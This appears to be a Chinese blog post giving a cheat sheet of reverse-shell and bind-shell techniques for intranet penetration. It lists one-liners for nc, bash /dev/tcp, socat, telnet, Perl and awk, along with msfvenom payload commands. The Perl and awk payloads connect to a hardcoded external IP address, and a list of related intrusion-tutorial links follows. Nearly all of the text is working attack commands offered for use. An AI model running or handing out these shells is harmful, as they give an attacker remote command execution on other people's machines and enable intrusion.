内网渗透之跨边界传输 - 反弹shell
大年初一,当然是更一篇重磅文章啦
反弹shell
/bin目录下带sh的都是shell
nc
1.正向连接,目标机监听自身端口,攻击机主动建立连接
目标机:nc -lvvp 端口 -e /bin/bash (-e cmd.exe)
- 攻击机:nc -vv 目标IP 监听端口
适用情况:目标机有独立外网ip,攻击机有无都行
2.反向连接,攻击机监听自身端口,目标机主动建立连接
攻击机:nc -lvvp 端口
- 目标机:nc -vv 攻击机ip 端口 -e /bin/bash
适用情况:攻击机有独立外网ip,目标机在内网,只有一个或多个映射端口
3.聊天/传文件
- 攻击机:nc -lvvp 端口 < 文件
- 目标机:nc -vv 攻击机IP 攻击机端口 > 文件
注意:有防火墙会连不上,得找放过的端口
bash
攻击机监听:nc -lvvp 端口
目标机:bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1
- 把bash重定向
使用kali下msfvenom生成payload
- msfvenom -l payloads | grep bash #搜索payload制作命令
msfvenom -p cmd/unix/reverse_bash LHOST=攻击机IP LPORT=攻击机端口 #制作payload
- 目标机运行payload:0<&209-;exec 209<>/dev/tcp/192.168.123.123/12345;sh <&209 >&209 2>&209
- sh可换成任意一个bash或shell
适用情况:bash -i 被屏蔽,以及nc没有 -e 参数
ksh/tsh/zsh/sh
- 攻击机监听:nc -lvvp 端口
目标机发送
- ksh -c 'ksh > /dev/tcp/攻击机ip/端口 2>&1
socat
命令最后加个&把进程放到后台
jobs查看TCP
- 攻击机监听:socat TCP-LISTEN:端口 -
目标机发送:
linux
- socat exec:'bash -i',pty,stderr,setsid,sigint,sane tcp:攻击机ip:端口
windows
- socat.exe exec:'cmd.exe',pty,stderr,setsid,sigint,sane tcp:攻击机ip:端口
UDP
- 攻击机监听:socat udp-listen:端口 -
目标机发送:
linux
- socat udp-connect:攻击机ip:端口 exec:'bash -i',pty,stderr,sane 2>&1>/dev/null
windows
- socat.exe udp-connect:攻击机ip:端口 exec:'cmd.exe',pty,stderr,sane
telnet
- mknod backpipe p && telnet 攻击机ip 端口 0<backpipe | /bin/bash 1>backpipe
perl
- 攻击机监听
目标机发送
输入msfvenom生成的payload
- perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"155.94.164.131:10000");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
awk
其他步骤一样,略
- awk 'BEGIN{s="/inet/tcp/0/155.94.164.131/10000";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!="exit");close(s)}}'
ruby
- 同上
python
攻击机监听
- nc -lvvp 端口
目标机发送
- 使用msfvenom生成payload
- 输入payload
java
- 同上
php
- 生成payload保存到文件中
msfvenom -p php/reverse_php lhost=攻击机ip lport=端口 - f php -o /路径/shell.php
- 复制到目标机运行
使用msfvenom
- msfvenom -l payloads | grep xxx #搜索可利用payload
- msfvenom -p 要使用的payload生成脚本 lhost=攻击机ip lport=攻击机端口
内网渗透之跨边界传输 - 反弹shell的更多相关文章
- 内网渗透之跨边界传输 - LCX转发
跨边界转发 端口转发 lcx 流程 目标机 ./lcx -slave 跳板机ip 监听的端口 127.0.0.1 要转发的端口 跳板机(公网) ./lcx -listen 监听的端口 转发给攻击机访问 ...
- [源码]Python简易http服务器(内网渗透大文件传输含下载命令)
Python简易http服务器源码 import SimpleHTTPServerimport SocketServerimport sysPORT = 80if len(sys.argv) != 2 ...
- Linux内网渗透
Linux虽然没有域环境,但是当我们拿到一台Linux 系统权限,难道只进行一下提权,捕获一下敏感信息就结束了吗?显然不只是这样的.本片文章将从拿到一个Linux shell开始,介绍Linux内网渗 ...
- metasploit渗透测试笔记(内网渗透篇)
x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. r ...
- Metasploit 内网渗透篇
0x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. ...
- 内网渗透之vlunstack靶场
前言:vlunstack靶场是由三台虚拟机构成,一台是有外网ip的windows7系统(nat模式),另外两台是纯内网机器(外网ping不通),分别是域控win2008和内网主机win2003,这里就 ...
- 内网渗透测试思路-FREEBUF
(在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接, ...
- 7.内网渗透之windows认证机制
文章参考自三好学生域渗透系列文章 看了内网渗透第五篇文章,发现如果想要真正了解PTT,PTH攻击流程,还需要了解windows的认证机制,包括域内的kerberos协议. windows认证机制 在域 ...
- 3.内网渗透之reGeorg+Proxifier
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAxIAAAE2CAIAAAB6BDOVAAAgAElEQVR4Aey9Z5Aex3X327MRGVzkRH ...
随机推荐
- phpcms添加图片投票
1phpcms加入投票选项的图片上传功能,从我的文件下载,然后到phpcms目录下直接覆盖即可. 当然这边出现了一个bug,修改投票选项不能修改的bug,只需要修改vote_option_class. ...
- django框架基础-路由系统-长期维护
################## 路由系统介绍 ####################### 路由系统就是路径和函数的对应关系, 路由系统可以看成支撑你这个网站的目录,就像是一本书一样 ...
- 查看pip安装的包的位置
- java 二分法查找原理
二分法查找原理: 1.只要低位下标不大于高位下标,就进行二分查找(步骤1-3) 2.先在有序的数组中对半查找中间的坐标,如果中标和要查找的下标相等时,找到目标数,那二分结束. 3.如果步骤2没有找到, ...
- javasc-正则表达式
匹配中文字符的正则表达式: [\u4e00-\u9fa5]评注:匹配中文还真是个头疼的事,有了这个表达式就好办了 匹配双字节字符(包括汉字在内):[^\x00-\xff]评注:可以用来计算字符串的长度 ...
- Dockerfile创建zabbix监控体系
使用for循环将zabbix的镜像导入到容器中 for n in `ls *.tar.gz`;do docker load -i $n ;done 使用docker运行zabbix-server do ...
- Spring Cloud Alibaba-MyShop-项目介绍
本节视频 [视频]Spring Cloud Alibaba-MyShop-项目介绍 开发环境 操作系统:Windows 10 Enterprise 开发工具:Intellij IDEA 数据库:MyS ...
- Drools 7.15.0 docker容器方式部署
关于drools的相关介绍就不再赘述了,关于drools网上的资料都很少,或者都有些老了,最近折腾了一下,记录下安装部署的过程,希望能节省下大家的时间. 一.快速部署 1.拉取基础镜像,命令如下: d ...
- JS截取字符串方法集合
使用 substring()或者slice() 函数:split() 功能:使用一个指定的分隔符把一个字符串分割存储到数组 例子: str="jpg|bmp|gif|ico|png&qu ...
- 事件绑定持有对象引用导致GC不回收对象
现象 封装了一个部门选择框对象,在第一次创建选择框的时候是正确的,但是在关闭之后再次创建,发现点击事件被调用两次,于是console.log(),发现第一次创建的选择框的数据也被打印了一次,执行两次分 ...